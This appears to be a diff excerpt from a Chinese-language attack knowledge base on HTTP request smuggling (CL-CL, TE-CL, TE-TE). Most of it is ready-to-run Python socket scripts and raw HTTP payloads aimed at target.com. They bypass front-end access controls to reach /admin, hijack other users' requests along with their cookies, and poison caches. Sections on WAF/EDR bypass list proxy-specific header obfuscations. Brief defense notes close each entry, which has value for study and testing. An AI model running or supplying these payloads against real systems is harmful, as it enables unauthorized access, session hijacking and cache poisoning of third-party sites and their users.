176
|
+
"
|
|
177
|
+
"
|
|
178
|
+
"GET /admin HTTP/1.1
|
|
179
|
+
" # 走私的请求
|
|
180
|
+
f"Host: {host}
|
|
181
|
+
"
|
|
182
|
+
"
|
|
183
|
+
"
|
|
184
|
+
)
|
|
185
|
+
s = socket.socket()
|
|
186
|
+
s.connect((host, port))
|
|
187
|
+
s.send(payload.encode())
|
|
188
|
+
resp = s.recv(4096).decode(errors="ignore")
|
|
189
|
+
print(resp)
|
|
190
|
+
s.close()
|
|
191
|
+
|
|
192
|
+
smuggle_cl_cl("target.com", 80)
|
|
193
|
+
```
|
|
194
|
+
**语法解析:**
|
|
195
|
+
- `Content-Length: 44` — 前端代理解析的CL值,包含走私请求的长度 _value_
|
|
196
|
+
- `Content-Length: 0` — 后端解析的CL值,认为body为空 _value_
|
|
197
|
+
- `GET /admin` — 走私注入的第二个请求,被后端作为独立请求处理 _value_
|
|
198
|
+
|
|
199
|
+
**利用CL-CL走私绕过前端访问控制**
|
|
200
|
+
> 利用CL-CL走私绕过前端代理的ACL访问限制访问/admin
|
|
201
|
+
```
|
|
202
|
+
# 场景:前端限制/admin访问,通过走私绕过
|
|
203
|
+
import socket
|
|
204
|
+
|
|
205
|
+
def bypass_acl(host, port):
|
|
206
|
+
# 走私请求到/admin端点
|
|
207
|
+
smuggled = (
|
|
208
|
+
"GET /admin HTTP/1.1
|
|
209
|
+
"
|
|
210
|
+
f"Host: {host}
|
|
211
|
+
"
|
|
212
|
+
"
|
|
213
|
+
"
|
|
214
|
+
)
|
|
215
|
+
content_length_real = len(smuggled)
|
|
216
|
+
|
|
217
|
+
payload = (
|
|
218
|
+
"POST / HTTP/1.1
|
|
219
|
+
"
|
|
220
|
+
f"Host: {host}
|
|
221
|
+
"
|
|
222
|
+
f"Content-Length: {content_length_real}
|
|
223
|
+
"
|
|
224
|
+
"Content-Length: 0
|
|
225
|
+
"
|
|
226
|
+
"Connection: keep-alive
|
|
227
|
+
"
|
|
228
|
+
"
|
|
229
|
+
"
|
|
230
|
+
+ smuggled
|
|
231
|
+
)
|
|
232
|
+
|
|
233
|
+
s = socket.socket()
|
|
234
|
+
s.connect((host, port))
|
|
235
|
+
s.send(payload.encode())
|
|
236
|
+
# 接收两个响应
|
|
237
|
+
resp = s.recv(8192).decode(errors="ignore")
|
|
238
|
+
print("[Response 1 - Normal]")
|
|
239
|
+
print(resp[:500])
|
|
240
|
+
resp2 = s.recv(8192).decode(errors="ignore")
|
|
241
|
+
print("[Response 2 - Smuggled /admin]")
|
|
242
|
+
print(resp2[:500])
|
|
243
|
+
s.close()
|
|
244
|
+
|
|
245
|
+
bypass_acl("target.com", 80)
|
|
246
|
+
```
|
|
247
|
+
**语法解析:**
|
|
248
|
+
- `Connection: keep-alive` — 保持TCP连接复用,使走私请求能被后端处理 _value_
|
|
249
|
+
- `recv(8192)` — 接收两个HTTP响应,第二个是走私请求的结果 _command_
|
|
250
|
+
|
|
251
|
+
**WAF/EDR 绕过变体:**
|
|
252
|
+
|
|
253
|
+
**HTTP/2降级绕过**
|
|
254
|
+
> 利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私
|
|
255
|
+
```
|
|
256
|
+
# HTTP/2 -> HTTP/1.1降级利用
|
|
257
|
+
# 前端H2后端H1时的走私
|
|
258
|
+
:method: POST
|
|
259
|
+
:path: /
|
|
260
|
+
:authority: target.com
|
|
261
|
+
content-length: 0
|
|
262
|
+
|
|
263
|
+
GET /admin HTTP/1.1
|
|
264
|
+
Host: target.com
|
|
265
|
+
|
|
266
|
+
# H2C升级走私
|
|
267
|
+
GET / HTTP/1.1
|
|
268
|
+
Host: target.com
|
|
269
|
+
Upgrade: h2c
|
|
270
|
+
HTTP2-Settings: <base64>
|
|
271
|
+
Connection: Upgrade, HTTP2-Settings
|
|
272
|
+
```
|
|
273
|
+
**语法解析:**
|
|
274
|
+
- `# HTTP/2 -> HTTP/1.1降级利用` — 主要命令 _command_
|
|
275
|
+
- `...` — 共14行 _value_
|
|
276
|
+
|
|
277
|
+
**连接复用操控**
|
|
278
|
+
> 通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求
|
|
279
|
+
```
|
|
280
|
+
# 双CL值差异
|
|
281
|
+
POST / HTTP/1.1
|
|
282
|
+
Host: target.com
|
|
283
|
+
Content-Length: 6
|
|
284
|
+
Content-Length: 50
|
|
285
|
+
|
|
286
|
+
12345GPOST /admin HTTP/1.1
|
|
287
|
+
Host: target.com
|
|
288
|
+
|
|
289
|
+
# 利用keep-alive连接复用
|
|
290
|
+
GET / HTTP/1.1
|
|
291
|
+
Host: target.com
|
|
292
|
+
Connection: keep-alive
|
|
293
|
+
Content-Length: 0
|
|
294
|
+
|
|
295
|
+
GET /admin HTTP/1.1
|
|
296
|
+
Host: internal.target.com
|
|
297
|
+
```
|
|
298
|
+
**语法解析:**
|
|
299
|
+
- `# 双CL值差异` — 主要命令 _command_
|
|
300
|
+
- `...` — 共14行 _value_
|
|
301
|
+
|
|
302
|
+
**代理链混淆**
|
|
303
|
+
> 利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私
|
|
304
|
+
```
|
|
305
|
+
# 多级代理CL处理差异
|
|
306
|
+
POST / HTTP/1.1
|
|
307
|
+
Host: target.com
|
|
308
|
+
Content-Length: 44
|
|
309
|
+
Content-Length : 0
|
|
310
|
+
|
|
311
|
+
GET /admin HTTP/1.1
|
|
312
|
+
Host: target.com
|
|
313
|
+
X: 1
|
|
314
|
+
|
|
315
|
+
# 空格混淆CL头
|
|
316
|
+
POST / HTTP/1.1
|
|
317
|
+
Host: target.com
|
|
318
|
+
Content-Length: 0
|
|
319
|
+
Content-Length: 42
|
|
320
|
+
|
|
321
|
+
GET /internal HTTP/1.1
|
|
322
|
+
Host: target.com
|
|
323
|
+
```
|
|
324
|
+
**语法解析:**
|
|
325
|
+
- `# 多级代理CL处理差异` — 主要命令 _command_
|
|
326
|
+
- `...` — 共15行 _value_
|
|
327
|
+
|
|
328
|
+
|
|
329
|
+
**概述:** CL-CL(Content-Length - Content-Length)走私发生在前端和后端对HTTP请求中多个Content-Length头的处理不一致时。RFC 7230规定不应接受包含多个CL的请求,但某些服务器实现选择了其中一个CL。如果前端使用第一个CL,后端使用第二个CL(或反之),攻击者可以将一个请求的body中注入第二个完整的HTTP请求。
|
|
330
|
+
|
|
331
|
+
**漏洞原理:** 前端代理和后端服务器在接收到包含多个Content-Length头的请求时,选择了不同的CL值。一方使用第一个CL读取请求体,另一方使用第二个CL,导致部分数据被当作下一个请求处理。
|
|
332
|
+
|
|
333
|
+
**利用方法:** 利用流程:1) 确认前端-后端架构 2) 发送双CL请求检测差异 3) 构造走私payload将恶意请求注入后端队列 4) 利用走私绕过ACL/WAF访问受限资源 5) 可能进一步实现请求劫持/缓存投毒
|
|
334
|
+
|
|
335
|
+
**防御措施:** 1) RFC合规:拒绝包含多个Content-Length的请求(返回400) 2) 前端和后端统一CL解析逻辑 3) 使用HTTP/2端到端 4) 前端规范化请求后转发 5) 禁用Connection: keep-alive的TCP复用
|
|
336
|
+
|
|
337
|
+
---
|
|
338
|
+
|
|
339
|
+
### TE-CL走私 `smuggling-te-cl`
|
|
340
|
+
_利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私_
|
|
341
|
+
子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
|
|
342
|
+
|
|
343
|
+
**前置条件:**
|
|
344
|
+
- 前端代理优先处理Transfer-Encoding
|
|
345
|
+
- 后端服务器优先处理Content-Length
|
|
346
|
+
- 理解chunked编码格式
|
|
347
|
+
|
|
348
|
+
**攻击链:**
|
|
349
|
+
|
|
350
|
+
**检测TE-CL差异**
|
|
351
|
+
> 检测前端和后端对TE vs CL的优先级差异
|
|
352
|
+
```
|
|
353
|
+
# 发送同时包含TE和CL的请求:
|
|
354
|
+
curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
|
|
355
|
+
|
|
356
|
+
"
|
|
357
|
+
|
|
358
|
+
# 使用timing检测:
|
|
359
|
+
# 如果后端使用CL,会等待更多数据(超时)
|
|
360
|
+
import socket, time
|
|
361
|
+
|
|
362
|
+
s = socket.socket()
|
|
363
|
+
s.connect(("target.com", 80))
|
|
364
|
+
payload = (
|
|
365
|
+
"POST / HTTP/1.1
|
|
366
|
+
"
|
|
367
|
+
"Host: target.com
|
|
368
|
+
"
|
|
369
|
+
"Transfer-Encoding: chunked
|
|
370
|
+
"
|
|
371
|
+
"Content-Length: 6
|
|
372
|
+
"
|
|
373
|
+
"
|
|
374
|
+
"
|
|
375
|
+
"0
|
|
376
|
+
|
|
377
|
+
"
|
|
378
|
+
)
|
|
379
|
+
s.send(payload.encode())
|
|
380
|
+
start = time.time()
|
|
381
|
+
resp = s.recv(4096)
|
|
382
|
+
elapsed = time.time() - start
|
|
383
|
+
print(f"Response in {elapsed:.2f}s")
|
|
384
|
+
# 快速响应=后端用TE, 延迟响应=后端用CL
|
|
385
|
+
```
|
|
386
|
+
**语法解析:**
|
|
387
|
+
- `Transfer-Encoding: chunked` — 分块传输编码,前端优先使用 _value_
|
|
388
|
+
- `Content-Length: 6` — 后端可能使用CL来确定body长度 _value_
|
|
389
|
+
- `0
|
|
390
|
+
|
|
391
|
+
` — chunked编码的终止块(0长度) _value_
|
|
392
|
+
|
|
393
|
+
**TE-CL走私POC**
|
|
394
|
+
> TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求
|
|
395
|
+
```
|
|
396
|
+
import socket
|
|
397
|
+
|
|
398
|
+
def te_cl_smuggle(host, port):
|
|
399
|
+
# 前端(TE): 读取到"0
|
|
400
|
+
|
|
401
|
+
"结束 → 整个payload是一个请求
|
|
402
|
+
# 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
|
|
403
|
+
|
|
404
|
+
smuggled = "GET /admin HTTP/1.1
|
|
405
|
+
Host: {}
|
|
406
|
+
|
|
407
|
+
".format(host)
|
|
408
|
+
|
|
409
|
+
payload = (
|
|
410
|
+
"POST / HTTP/1.1
|
|
411
|
+
"
|
|
412
|
+
"Host: {}
|
|
413
|
+
"
|
|
414
|
+
"Content-Length: 4
|
|
415
|
+
"
|
|
416
|
+
"Transfer-Encoding: chunked
|
|
417
|
+
"
|
|
418
|
+
"
|
|
419
|
+
"
|
|
420
|
+
"{}
|
|
421
|
+
"
|
|
422
|
+
"{}"
|
|
423
|
+
"0
|
|
424
|
+
|
|
425
|
+
"
|
|
426
|
+
).format(host, format(len(smuggled), "x"), smuggled)
|
|
427
|
+
|
|
428
|
+
s = socket.socket()
|
|
429
|
+
s.connect((host, port))
|
|
430
|
+
s.send(payload.encode())
|
|
431
|
+
resp = s.recv(4096)
|
|
432
|
+
print(resp.decode(errors="ignore")[:500])
|
|
433
|
+
s.close()
|
|
434
|
+
|
|
435
|
+
te_cl_smuggle("target.com", 80)
|
|
436
|
+
```
|
|
437
|
+
**语法解析:**
|
|
438
|
+
- `format(len(smuggled), "x")` — 将走私请求长度转为十六进制(chunked格式) _command_
|
|
439
|
+
- `Content-Length: 4` — 后端只读取4字节,剩余数据成为下一个请求 _value_
|
|
440
|
+
|
|
441
|
+
**TE-CL走私实现请求劫持**
|
|
442
|
+
> 走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中
|
|
443
|
+
```
|
|
444
|
+
# 利用走私劫持下一个用户的请求
|
|
445
|
+
import socket
|
|
446
|
+
|
|
447
|
+
def hijack_request(host, port):
|
|
448
|
+
# 走私一个不完整的POST请求
|
|
449
|
+
# 下一个正常用户的请求会被拼接为这个POST的body
|
|
450
|
+
smuggled = (
|
|
451
|
+
"POST /search HTTP/1.1
|
|
452
|
+
"
|
|
453
|
+
"Host: {}
|
|
454
|
+
"
|
|
455
|
+
"Content-Type: application/x-www-form-urlencoded
|
|
456
|
+
"
|
|
457
|
+
"Content-Length: 200
|
|
458
|
+
" # 大CL会吞噬下一个请求
|
|
459
|
+
"
|
|
460
|
+
"
|
|
461
|
+
"q=" # 下一个请求的数据会被当作搜索参数
|
|
462
|
+
).format(host)
|
|
463
|
+
|
|
464
|
+
chunk_size = format(len(smuggled), "x")
|
|
465
|
+
payload = (
|
|
466
|
+
"POST / HTTP/1.1
|
|
467
|
+
"
|
|
468
|
+
"Host: {}
|
|
469
|
+
"
|
|
470
|
+
"Content-Length: 4
|
|
471
|
+
"
|
|
472
|
+
"Transfer-Encoding: chunked
|
|
473
|
+
"
|
|
474
|
+
"
|
|
475
|
+
"
|
|
476
|
+
"{}
|
|
477
|
+
"
|
|
478
|
+
"{}"
|
|
479
|
+
"0
|
|
480
|
+
|
|
481
|
+
"
|
|
482
|
+
).format(host, chunk_size, smuggled)
|
|
483
|
+
|
|
484
|
+
s = socket.socket()
|
|
485
|
+
s.connect((host, port))
|
|
486
|
+
s.send(payload.encode())
|
|
487
|
+
print(s.recv(4096).decode(errors="ignore")[:500])
|
|
488
|
+
s.close()
|
|
489
|
+
|
|
490
|
+
hijack_request("target.com", 80)
|
|
491
|
+
```
|
|
492
|
+
**语法解析:**
|
|
493
|
+
- `Content-Length: 200` — 故意设置大CL,"吞噬"下一个请求的头部 _value_
|
|
494
|
+
- `q=` — 下一个用户的请求数据被拼接到搜索参数中 _value_
|
|
495
|
+
|
|
496
|
+
**WAF/EDR 绕过变体:**
|
|
497
|
+
|
|
498
|
+
**TE头大小写变体绕过**
|
|
499
|
+
> 利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测
|
|
500
|
+
```
|
|
501
|
+
# TE头大小写混淆
|
|
502
|
+
POST / HTTP/1.1
|
|
503
|
+
Host: target.com
|
|
504
|
+
Content-Length: 4
|
|
505
|
+
Transfer-Encoding: chunked
|
|
506
|
+
Transfer-encoding: identity
|
|
507
|
+
|
|
508
|
+
5c
|
|
509
|
+
GPOST /admin HTTP/1.1
|
|
510
|
+
Content-Type: application/x-www-form-urlencoded
|
|
511
|
+
Content-Length: 15
|
|
512
|
+
|
|
513
|
+
x=1
|
|
514
|
+
0
|
|
515
|
+
|
|
516
|
+
|
|
517
|
+
# Transfer-Encoding变体
|
|
518
|
+
Transfer-Encoding: xchunked
|
|
519
|
+
Transfer-Encoding : chunked
|
|
520
|
+
Transfer-Encoding: chunked
|
|
521
|
+
Transfer-Encoding: x
|
|
522
|
+
```
|
|
523
|
+
**语法解析:**
|
|
524
|
+
- `# TE头大小写混淆` — 主要命令 _command_
|
|
525
|
+
- `...` — 共17行 _value_
|
|
526
|
+
|
|
527
|
+
**空白字符注入**
|
|
528
|
+
> 在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同
|
|
529
|
+
```
|
|
530
|
+
# 制表符/换行注入TE头
|
|
531
|
+
POST / HTTP/1.1
|
|
532
|
+
Host: target.com
|
|
533
|
+
Content-Length: 4
|
|
534
|
+
Transfer-Encoding:\tchunked
|
|
535
|
+
|
|
536
|
+
# 行前空格混淆
|
|
537
|
+
POST / HTTP/1.1
|
|
538
|
+
Host: target.com
|
|
539
|
+
Content-Length: 4
|
|
540
|
+
Transfer-Encoding: chunked
|
|
541
|
+
|
|
542
|
+
# CRLF注入变体
|
|
543
|
+
POST / HTTP/1.1
|
|
544
|
+
Host: target.com
|
|
545
|
+
Content-Length: 4
|
|
546
|
+
Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
|
|
547
|
+
```
|
|
548
|
+
**语法解析:**
|
|
549
|
+
- `# 制表符/换行注入TE头` — 主要命令 _command_
|
|
550
|
+
- `...` — 共15行 _value_
|
|
551
|
+
|
|
552
|
+
**chunk扩展字段利用**
|
|
553
|
+
> 利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异
|
|
554
|
+
```
|
|
555
|
+
# chunk扩展混淆
|
|
556
|
+
POST / HTTP/1.1
|
|
557
|
+
Host: target.com
|
|
558
|
+
Content-Length: 4
|
|
559
|
+
Transfer-Encoding: chunked
|
|
560
|
+
|
|
561
|
+
5;ext=val
|
|
562
|
+
hello
|
|
563
|
+
0
|
|
564
|
+
|
|
565
|
+
|
|
566
|
+
# 超长chunk扩展
|
|
567
|
+
5;aaaaaaa...aaaa=bbbb...bbb
|
|
568
|
+
hello
|
|
569
|
+
0
|
|
570
|
+
|
|
571
|
+
|
|
572
|
+
# 非法chunk大小格式
|
|
573
|
+
5
|
|
574
|
+
hello
|
|
575
|
+
0
|
|
576
|
+
|
|
577
|
+
|
|
578
|
+
# 0x前缀
|
|
579
|
+
0x5
|
|
580
|
+
hello
|
|
581
|
+
0
|
|
582
|
+
```
|
|
583
|
+
**语法解析:**
|
|
584
|
+
- `# chunk扩展混淆` — 主要命令 _command_
|
|
585
|
+
- `...` — 共20行 _value_
|
|
586
|
+
|
|
587
|
+
|
|
588
|
+
**概述:** TE-CL走私发生在前端代理优先处理Transfer-Encoding(chunked)而后端服务器优先处理Content-Length时。前端按chunked编码将完整数据转发给后端,但后端只读取CL指定的字节数,多余的数据被留在TCP缓冲区中,被当作下一个独立请求处理。
|
|
589
|
+
|
|
590
|
+
**漏洞原理:** 前端和后端对同时存在的Transfer-Encoding和Content-Length的优先级处理不一致。RFC 7230规定存在TE时应忽略CL,但部分后端实现优先使用CL。
|
|
591
|
+
|
|
592
|
+
**利用方法:** 利用流程:1) 检测TE vs CL优先级差异 2) 构造同时包含TE和CL的请求 3) 前端按TE转发完整请求 4) 后端按CL截断,剩余数据成为走私请求 5) 走私请求绕过ACL/WAF或劫持其他用户请求
|
|
593
|
+
|
|
594
|
+
**防御措施:** 1) 统一前后端的TE/CL优先级 2) 拒绝同时包含TE和CL的请求 3) 使用HTTP/2 4) 禁用后端的TCP连接复用 5) 前端在转发前规范化请求
|
|
595
|
+
|
|
596
|
+
---
|
|
597
|
+
|
|
598
|
+
### TE-TE走私 `smuggling-te-te`
|
|
599
|
+
_利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私_
|
|
600
|
+
子类:**TE-TE** · tags: `smuggling` `te-te` `http`
|
|
601
|
+
|
|
602
|
+
**前置条件:**
|
|
603
|
+
- 前后端都支持Transfer-Encoding
|
|
604
|
+
- 可以通过TE头混淆使一端忽略TE
|
|
605
|
+
- 了解chunked编码和HTTP走私原理
|
|
606
|
+
|
|
607
|
+
**攻击链:**
|
|
608
|
+
|
|
609
|
+
**TE混淆变体探测**
|
|
610
|
+
> 测试各种Transfer-Encoding混淆变体,寻找前后端解析差异
|
|
611
|
+
```
|
|
612
|
+
# Transfer-Encoding的各种混淆写法:
|
|
613
|
+
# 测试哪种混淆能让一端忽略TE
|
|
614
|
+
import socket
|
|
615
|
+
|
|
616
|
+
te_variants = [
|
|
617
|
+
"Transfer-Encoding: xchunked",
|
|
618
|
+
"Transfer-Encoding : chunked", # 冒号前空格
|
|
619
|
+
"Transfer-Encoding: chunked
|
|
620
|
+
Transfer-encoding: cow", # 两个TE
|
|
621
|
+
"Transfer-Encoding : chunked", # Tab分隔
|
|
622
|
+
"Transfer-Encoding: chunked", # Tab前缀
|
|
623
|
+
" Transfer-Encoding: chunked", # 行首空格
|
|
624
|
+
"X: x
|
|
625
|
+
Transfer-Encoding: chunked", # Header注入
|
|
626
|
+
"Transfer-Encoding: chunked", # 空字节
|
|
627
|
+
]
|
|
628
|
+
|
|
629
|
+
for i, te in enumerate(te_variants):
|
|
630
|
+
print(f"[{i}] Testing: {te[:60]}")
|
|
631
|
+
payload = (
|
|
632
|
+
"POST / HTTP/1.1
|
|
633
|
+
"
|
|
634
|
+
"Host: target.com
|
|
635
|
+
"
|
|
636
|
+
f"{te}
|
|
637
|
+
"
|
|
638
|
+
"Content-Length: 5
|
|
639
|
+
"
|
|
640
|
+
"
|
|
641
|
+
"
|
|
642
|
+
"0
|
|
643
|
+
|
|
644
|
+
"
|
|
645
|
+
)
|
|
646
|
+
try:
|
|
647
|
+
s = socket.socket()
|
|
648
|
+
s.settimeout(3)
|
|
649
|
+
s.connect(("target.com", 80))
|
|
650
|
+
s.send(payload.encode())
|
|
651
|
+
resp = s.recv(1024).decode(errors="ignore")
|
|
652
|
+
status = resp.split("
|
|
653
|
+
")[0] if resp else "No response"
|
|
654
|
+
print(f" → {status}")
|
|
655
|
+
s.close()
|
|
656
|
+
except Exception as e:
|
|
657
|
+
print(f" → Error: {e}")
|
|
658
|
+
```
|
|
659
|
+
**语法解析:**
|
|
660
|
+
- `Transfer-Encoding: xchunked` — 无效TE值,某些服务器可能忽略 _value_
|
|
661
|
+
- `Transfer-Encoding : chunked` — 冒号前加空格,可能导致解析差异 _value_
|
|
662
|
+
- `Transfer-encoding: cow` — 第二个TE头覆盖为无效值 _value_
|
|
663
|
+
|
|
664
|
+
**TE-TE走私利用(前端忽略混淆TE)**
|
|
665
|
+
> 利用TE头混淆使一端按CL、另一端按TE处理,实现走私
|
|
666
|
+
```
|
|
667
|
+
import socket
|
|
668
|
+
|
|
669
|
+
def te_te_smuggle(host, port, te_header):
|
|
670
|
+
# 前端不识别混淆的TE → 使用CL
|
|
671
|
+
# 后端识别混淆的TE → 使用chunked
|
|
672
|
+
|
|
673
|
+
smuggled = "GET /admin HTTP/1.1
|
|
674
|
+
Host: {}
|
|
675
|
+
|
|
676
|
+
".format(host)
|
|
677
|
+
|
|
678
|
+
payload = (
|
|
679
|
+
"POST / HTTP/1.1
|
|
680
|
+
"
|
|
681
|
+
"Host: {}
|
|
682
|
+
"
|
|
683
|
+
"Content-Length: {}
|
|
684
|
+
"
|
|
685
|
+
"{}
|
|
686
|
+
"
|
|
687
|
+
"
|
|
688
|
+
"
|
|
689
|
+
"0
|
|
690
|
+
"
|
|
691
|
+
"
|
|
692
|
+
"
|
|
693
|
+
"{}"
|
|
694
|
+
).format(
|
|
695
|
+
host,
|
|
696
|
+
len("0
|
|
697
|
+
|
|
698
|
+
" + smuggled),
|
|
699
|
+
te_header,
|
|
700
|
+
smuggled
|
|
701
|
+
)
|
|
702
|
+
|
|
703
|
+
s = socket.socket()
|
|
704
|
+
s.connect((host, port))
|
|
705
|
+
s.send(payload.encode())
|
|
706
|
+
resp = s.recv(4096)
|
|
707
|
+
print(resp.decode(errors="ignore")[:500])
|
|
708
|
+
s.close()
|
|
709
|
+
|
|
710
|
+
# 使用发现的有效混淆变体:
|
|
711
|
+
te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
|
|
712
|
+
Transfer-encoding: cow")
|
|
713
|
+
```
|
|
714
|
+
**语法解析:**
|
|
715
|
+
- `Transfer-encoding: cow` — 混淆TE值,使一端降级为使用CL _value_
|
|
716
|
+
|
|
717
|
+
**TE-TE缓存投毒攻击**
|
|
718
|
+
> 利用TE-TE走私实现Web缓存投毒攻击
|
|
719
|
+
```
|
|
720
|
+
import socket
|
|
721
|
+
|
|
722
|
+
def cache_poison_via_smuggling(host, port):
|
|
723
|
+
# 通过走私实现缓存投毒:
|
|
724
|
+
# 走私的请求指向静态资源,但包含恶意响应头/内容
|
|
725
|
+
|
|
726
|
+
smuggled = (
|
|
727
|
+
"GET /static/main.js HTTP/1.1
|
|
728
|
+
"
|
|
729
|
+
"Host: {}
|
|
730
|
+
"
|
|
731
|
+
"
|
|
732
|
+
"
|
|
733
|
+
).format(host)
|
|
734
|
+
|
|
735
|
+
# 先发送走私请求
|
|
736
|
+
payload = (
|
|
737
|
+
"POST / HTTP/1.1
|
|
738
|
+
"
|
|
739
|
+
"Host: {}
|
|
740
|
+
"
|
|
741
|
+
"Content-Length: {}
|
|
742
|
+
"
|
|
743
|
+
"Transfer-Encoding: chunked
|
|
744
|
+
"
|
|
745
|
+
"Transfer-encoding: x
|
|
746
|
+
"
|
|
747
|
+
"
|
|
748
|
+
"
|
|
749
|
+
"0
|
|
750
|
+
"
|
|
751
|
+
"
|
|
752
|
+
"
|
|
753
|
+
"{}"
|
|
754
|
+
).format(host, len("0
|
|
755
|
+
|
|
756
|
+
" + smuggled), smuggled)
|
|
757
|
+
|
|
758
|
+
s = socket.socket()
|
|
759
|
+
s.connect((host, port))
|
|
760
|
+
s.send(payload.encode())
|
|
761
|
+
resp = s.recv(4096)
|
|
762
|
+
print("[*] Cache poisoned")
|
|
763
|
+
print(resp.decode(errors="ignore")[:300])
|
|
764
|
+
s.close()
|
|
765
|
+
|
|
766
|
+
cache_poison_via_smuggling("target.com", 80)
|
|
767
|
+
```
|
|
768
|
+
**语法解析:**
|
|
769
|
+
- `/static/main.js` — 目标静态资源URL,投毒后影响所有访问者 _value_
|
|
770
|
+
- `Transfer-encoding: x` — 无效TE值混淆,使前端降级到CL解析 _value_
|
|
771
|
+
|
|
772
|
+
**WAF/EDR 绕过变体:**
|
|
773
|
+
|
|
774
|
+
**多重TE头混淆**
|
|
775
|
+
> 发送多个Transfer-Encoding头或逗号分隔多值,利用前后端对多值TE头的优先级差异
|
|
776
|
+
```
|
|
777
|
+
# 多个Transfer-Encoding头
|
|
778
|
+
POST / HTTP/1.1
|
|
779
|
+
Host: target.com
|
|
780
|
+
Transfer-Encoding: chunked
|
|
781
|
+
Transfer-Encoding: identity
|
|
782
|
+
Transfer-Encoding: chunked
|
|
783
|
+
|
|
784
|
+
# 逗号分隔多值
|
|
785
|
+
Transfer-Encoding: chunked, identity
|
|
786
|
+
Transfer-Encoding: identity, chunked
|
|
787
|
+
|
|
788
|
+
# 混合有效无效值
|
|
789
|
+
Transfer-Encoding: chunked
|
|
790
|
+
Transfer-Encoding: cow
|
|
791
|
+
Transfer-Encoding: chunked
|
|
792
|
+
```
|
|
793
|
+
**语法解析:**
|
|
794
|
+
- `# 多个Transfer-Encoding头` — 主要命令 _command_
|
|
795
|
+
- `...` — 共13行 _value_
|
|
796
|
+
|
|
797
|
+
**非标准TE值混淆**
|
|
798
|
+
> 使用非标准或被篡改的Transfer-Encoding值,使前端代理回退到CL而后端仍解析为chunked
|
|
799
|
+
```
|
|
800
|
+
# 垃圾TE值使某些代理忽略TE
|
|
801
|
+
Transfer-Encoding: xchunked
|
|
802
|
+
Transfer-Encoding: chunked-false
|
|
803
|
+
Transfer-Encoding: chunk
|
|
804
|
+
Transfer-Encoding: CHUNKED
|
|
805
|
+
|
|
806
|
+
# 引号包裹
|
|
807
|
+
Transfer-Encoding: "chunked"
|
|
808
|
+
|
|
809
|
+
# 参数附加
|
|
810
|
+
Transfer-Encoding: chunked; q=0.5
|
|
811
|
+
Transfer-Encoding: chunked, x
|
|
812
|
+
|
|
813
|
+
# 编码混淆
|
|
814
|
+
Transfer-\x45ncoding: chunked
|
|
815
|
+
```
|
|
816
|
+
**语法解析:**
|
|
817
|
+
- `# 垃圾TE值使某些代理忽略TE` — 主要命令 _command_
|
|
818
|
+
- `...` — 共12行 _value_
|
|
819
|
+
|
|
820
|
+
**代理特定解析绕过**
|
|
821
|
+
> 针对特定代理/服务器(HAProxy/Apache/Nginx)的TE头解析特性发送定制化走私payload
|
|
822
|
+
```
|
|
823
|
+
# HAProxy特定绕过
|
|
824
|
+
POST / HTTP/1.1
|
|
825
|
+
Host: target.com
|
|
826
|
+
Transfer-Encoding:[\x0b]chunked
|
|
827
|
+
|
|
828
|
+
# Apache特定绕过
|
|
829
|
+
POST / HTTP/1.1
|
|
830
|
+
Host: target.com
|
|
831
|
+
Transfer-Encoding:\x00chunked
|
|
832
|
+
|
|
833
|
+
# Nginx特定绕过
|
|
834
|
+
POST / HTTP/1.1
|
|
835
|
+
Host: target.com
|
|
836
|
+
Transfer-Encoding: chunked\x20
|
|
837
|
+
|
|
838
|
+
# 通用尾部空白
|
|
839
|
+
Transfer-Encoding: chunked
|
|
840
|
+
```
|
|
841
|
+
**语法解析:**
|
|
842
|
+
- `# HAProxy特定绕过` — 主要命令 _command_
|
|
843
|
+
- `...` — 共14行 _value_
|
|
844
|
+
|
|
845
|
+
|
|
846
|
+
**概述:** TE-TE走私发生在前端和后端都支持Transfer-Encoding但对其混淆变体的处理不同时。攻击者通过修改TE头的格式(大小写混合、特殊字符、多个TE头等),使一端识别TE(按chunked处理)而另一端不识别(降级为CL处理),从而产生解析差异实现走私。
|
|
847
|
+
|
|
848
|
+
**漏洞原理:** 服务器对Transfer-Encoding头的非标准格式处理不一致:一方严格匹配"chunked"关键字(混淆后不识别),另一方宽松解析(混淆后仍识别)。
|
|
849
|
+
|
|
850
|
+
**利用方法:** 利用流程:1) 枚举各种TE混淆变体 2) 找到使前后端解析不一致的变体 3) 构造走私payload 4) 利用走私绕过安全控制或劫持请求/投毒缓存
|
|
851
|
+
|
|
852
|
+
**防御措施:** 1) 严格规范化TE头处理 2) 拒绝非标准格式的TE头 3) 前后端统一HTTP解析逻辑 4) 使用HTTP/2消除走私风险 5) 部署请求走私检测规则
|
|
853
|
+
|
|
854
|
+
---
|